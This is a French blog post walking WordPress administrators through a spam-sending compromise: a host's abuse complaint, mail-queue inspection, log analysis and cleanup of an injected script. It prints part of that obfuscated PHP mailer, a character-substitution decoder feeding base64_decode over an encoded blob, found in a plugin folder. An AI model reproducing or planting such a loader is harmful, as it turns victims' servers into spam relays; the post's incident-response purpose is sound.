Chers webmasters,
Si vous êtes en charge d’un ou plusieurs sites WEB animés par le CMS WordPress, il est fort possible que vous ayez subi ces derniers temps des désagréments du style:
Vous recevez un matin des Email de votre hébergeur qui vous dit (en vous faisant les gros yeux):

Chère Madame, Cher Monsieur,
Nous avons reçu des plaintes concernant l'utilisation du nom de domaine que vous avez enregistré auprès de nos services: < example.com >
Plus particulièrement, il a été porté à notre connaissance que ce nom de domaine est utilisé pour participer à des pratiques de spamming et notamment à l'envoi massif ou répété de courriers électroniques non-sollicités à des personnes avec lesquelles l'expéditeur n'a jamais eu de contact et dont il a capté l'adresse de façon irrégulière.
A toutes fins utiles, vous trouverez ci-dessous de plus amples informations concernant ladite plainte:
------ Informations sur l'incident ------
Arrival-Date: 22 Jul 2015
Source-IP: 92.243.7.35
Version: 1.0
User-Agent: UOL Feedback Loop 1.0
Feedback-Type: abuse
Sujet:    Best Popular Vagra pack Ref # [1MY7f1e6Ly08i2r]
Date:     Wed, 22 Jul 2015 19:43:57 +0200
À:           X
From:    "Pamela Waller" <pamela_waller@example.com&gt
Télécharger (sans titre) / avec en-têtes text/html 170o Best Popular Vagra pack – check it out
------------------------------------------------
Ces pratiques sont des infractions (Article R.10-1 du code des postes et des communications électroniques) qui sont punies de l'amende prévue par les contraventions de la quatrième classe (Décret n° 2003-752 du 1er août 2003 relatif aux annuaires universels et aux services universels de renseignements).
http://www.cnil.fr/documentation/fiches-pratiques/fiche/article/la-prospection-commerciale-par-courrier-electronique/
En outre, nous vous rappelons qu'en vertu de notre contrat et notamment des articles 3 et 19 de nos conditions générales d'enregistrement de noms de domaine https://www.gandi.net/contracts/fr/g1/pdf/, vous vous êtes engagé à choisir et utiliser votre nom de domaine et nos services dans le respect des droits des tiers, de la législation et de la réglementation en vigueur. Il en résulte que vous avez accepté qu'en cas de manquement grave ou de perturbation de nos services nous puissions suspendre ou résilier nos services sans préavis.
Conformément à ce contrat, vous devez cesser toutes activités préjudiciables liées à ce nom de domaine.
Nous vous remercions de prendre toutes les dispositions nécessaires afin de vous assurer que vous êtes en conformité avec nos conditions générales de vente.
Sincères salutations.
Le département Abuse
http://www.gandi.net/abuse/

Mais vous n’êtes pas grossiste en Viagra, et à priori vous n’avez personne chez vous ne s’appelle Pamella Waller !

Alors que s’est-il passé ?

Avant de continuer, je vous conseille vivement de répondre tout de suite à votre hébergeur un message du style:

Bonjour, 
Merci beaucoup pour cette alerte. 
Ces Emails ont été envoyés à mon insu. Je crains que mon serveur n'ai été piraté. Je lance tout de suite des recherches en ce sens. 
Je vous tiens au courant dès que j'ai du nouveau. Cordialement, 
(Votre nom).

Cela va rassurer votre hébergeur, et accessoirement cela évitera qu’il arrête brutalement votre site WEB.
Il a des chances qu’il vous réponde quelque chose comme:

Cher Monsieur,

Nous accusons réception de votre e-mail ci-dessous.
Nous vous remercions pour votre diligence.
Nous vous prions de bien vouloir nous tenir informé dès lors que le problème sera résolu.
Sincères salutations,
Gandi.net

Alors le dire c’est bien, mais le faire c’est mieux.

On se connecte sur le serveur en ssh, et on jette un coup d’œil du côté de la file d’attente des Emails. Et là, on voit que cela grouille de messages véreux:

root@server01:/var/www# ls -l /var/spool/exim4/input 
-rw-r----- 1 Debian-exim Debian-exim 788 oct. 13 15:17 1XdfUk-0000H9-GZ-H 
-rw-r----- 1 Debian-exim Debian-exim 1581 oct. 13 15:17 1XdfUu-0000K0-7c-D 
-rw-r----- 1 Debian-exim Debian-exim 782 oct. 13 15:17 1XdfUu-0000K0-7c-H 
-rw-r----- 1 Debian-exim Debian-exim 1415 oct. 13 15:44 1Xdfv7-00031b-8S-D 
-rw-r----- 1 Debian-exim Debian-exim 783 oct. 13 15:44 1Xdfv7-00031b-8S-H 
-rw-r----- 1 Debian-exim Debian-exim 1378 oct. 13 15:46 1XdfxQ-00037Q-H2-D 
-rw-r----- 1 Debian-exim Debian-exim 783 oct. 13 15:46 1XdfxQ-00037Q-H2-H 
-rw-r----- 1 Debian-exim Debian-exim 1415 oct. 13 15:46 1XdfxS-00037Y-1w-D 
etc..
-rw-r----- 1 Debian-exim Debian-exim 789 oct. 13 15:46 1XdfxS-00037Y-1w-H
root@server01:/var/www#

Première chose: Voir quel script a généré ces Emails. Examinons un des fichiers de la file d’attente:

root@server01:/var/spool/exim4/input# more 1XdfxS-00037Y-1w-H
198P Received: from apache by your.servername.com with local (Exim 4.72)
(envelope-from <dauser@example.com>)
id 1Vx7MK-0007RR-Re
for target@targetaddress.com; Sun, 29 Dec 2013 04:48:12 +0100
038  Date: Sun, 29 Dec 2013 04:48:12 +0100
057I Message-Id: <e1vx7mk-0007rr-re@your.servername.com>
030T To: target@targetaddress.com
051  Subject: Exper tP harma Viagra
059  X-PHP-Script: www.example.com/wp-content/plugins/polylang/frontend/article58.php for 172.27.17.218
028F From: dauser@example.com
root@server01:/var/spool/exim4/input#

La ligne qui nous intéresse est celle là:

059  X-PHP-Script: www.example.com/wp-content/plugins/polylang/frontend/article58.php for 172.27.17.218

On y apprend que cet Email a été généré par le script PHP article58.php qui se trouve dans le dossier wp-content/plugins/polylang/frontend/ de notre site sous WordPress.

Si on regarde le contenu du script en question, c’est un truc moche du genre:

root@server01:# more /var/www/example/wp-content/plugins/polylang/frontend/article58.php
<?php
function clkpvfvtaz($kqstnzqrvl, $kxayv){$aomjlyurs = ''; for($i=0; $i < strlen($kqstnzqrvl); $i++){$aomjlyurs .= isset($kxayv[$kqstnzqrvl[$i]]) ? $kxayv[$kqstnzqrvl[$i]] : $kqstnzqrvl[$i];}
$trov="base64_decode";return $trov($aomjlyurs);}
$xlfejbores = 'nUDjAMowybnl9zMcBaocbzNVycBdWOLM8O23I23qArL3bRPDSvCfGUofbzMcBaocBcBdWTq3I23qArL3bRPDSvCfGrZ4bzM4'.
'yrPJSUDVGDoKArJD9c2CQvkevkHwyb6mSUD0yModArJ3SvC2X8dXvaDaXUDwBzMKXv6mhKM5MkM5'.
'X5kX72l99Zo86M9r6M9G9JHWhZo86hNU9JKC15qgYcWeWql99Zo86M9r6M9G9J9'.
'Z8hoh6MoH6O659JKC15qgQ8WRYxqjQv4NWxdXvrDaXvZDGbHK75CkbJPZhDyZhDdf5Z6hhZopbKy'.
'1hDSHhk6Z6ZoU8JWfb5k3vCDevCk99Zo86M9r6M9G9KihMZHmrZoU8J9bnM9O6h6m6ko59JKC15qgQ8WRYxqjQv4NWxdXvbKXmn3'.
'3ygi3BRPDSvCkbKy98OM8X5kX72l9yaocyrZxAvCkbKy98OM8WUZwWv6Ey'.
'bkC184C9Uy3GUh3vCDevCk9ArplWbPKBfHVBcCkyaDdyMdfGaZ0y5SSYvqgYa'.
'32ycW3Xnl9vbdXvnk99Uy3GUMjprJDWTKCprNKyb9mGrZxBaowXv6aArNDrcSjprJD9JK3I2'.
'l9vnkkyaDdyrLiGrhC15HjSrJmGrZxBaowXv6aArNDGaZ0y5kevCk9v56aArNDGaZ0y5qoWFijSrJm'.
'GrZxBaowXv6aArNDGaZ0y5kevCk9v56m6kDQ6MPG9U0D7MJGWaLiGrhgb5qoWv6aArNDGaZ0y8dXvnDovCDovfKXvn'.
'3aSrLxSUDVGgHxSbPKGzJmBR6cAbHmSUZfBcCkSUM4SvkX72lCWv'.
'qC9F6D7FnC15HwSF93BZoKprSwXv6KybiKYvqf1UO+9ckevgqCWvqkSUM4SvqoWFPKBDo'.
'cybHdprPDXvWup5HlBaMa1M2gWg2CWDdCWg2C9F6D7Fn3I2lCWvqC9F6D7FnC15HwSF9mBaM2GUZxy5Cg1vo'.
'i1gWdWvWgYvqkSUM4SvkevgqCWvqkSUM4SvqoWFPKBDocybHdprPDXv9BWx4gYvqgWZKCWg2C9F6D7Fn3I2lCWvqCBaMKSb9jWv6'.
'KybiKI23ovayJGaPKArojWUDwbzD2Xv6wSFW3WFdXWvHcyb6JBa4CBF'.
etc..
root@server01:#

Bon on peut déjà en déduire que le pirate à réussi à introduire son sale script dans le dossier de l’extension « polylang » de WordPress.

Dans un premier temps, le nettoyage va consister à:
1. Purger la file d’attente des Emails:

root@server01:/home/admin# rm /var/spool/exim4/input/*
rm: impossible de supprimer « /var/spool/exim4/input/lost+found »: est un dossier
root@server01:/home/admin#

2. Purger les traces:

root@server01:/home/admin# rm /var/spool/exim4/msglog/*
root@server01:/home/admin#

3. Effacer le script en question

root@server01:/var/www/example# rm /wp-content/plugins/polylang/frontend/article58.php 

Le problème immédiat est résolu, mais il risque fortement de se reproduire si les pirates parviennent à injecter un nouveau script PHP sur votre serveur.

Continuons l’enquête, et voyons qui a activé ce script « article58.php »:

root@server01:/home/admin# grep article58.php /var/log/apache2/www.example.org
213.205.38.23 - - [23/Aug/2015:11:34:59 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 22083 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
173.201.196.161 - - [23/Aug/2015:11:37:17 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 22083 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
66.147.244.79 - - [23/Aug/2015:11:38:33 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 22083 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
97.74.215.50 - - [23/Aug/2015:11:39:36 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 20433 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
97.74.24.209 - - [23/Aug/2015:11:41:56 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 22083 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
97.74.215.82 - - [23/Aug/2015:11:44:19 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 20433 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
198.20.247.166 - - [23/Aug/2015:11:46:35 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 20433 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
82.223.114.79 - - [23/Aug/2015:11:46:37 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 20433 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
173.201.196.32 - - [23/Aug/2015:11:48:57 +0200] "POST /wp-content/plugins/polylang/frontend/article58.php HTTP/1.0" 404 22083 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
etc..
root@server01:/home/admin#

Dans ce cas on voit que l’activation du script est arrivée de différentes adresses IP à travers le monde. C’est une attaque d’ordinateurs zombie.

Maintenant que le plus gros de la crise est passé, il faut songer à renforcer notre serveur. Vous trouverez sur le Net différents articles sur le sujet, mais n’hésitez pas à nous appeler si vous souhaitez une intervention ou juste un avis.

Nous recommandons particulièrement LMD. Voir article sur le sujet:

http://www.activpart.com/securite-antimalware-sous-linux-maldetect/

En espérant que ces quelques exemples vous ont aidé..

 

 

Leave a Reply

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Blue Captcha Image
Refresh

*

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.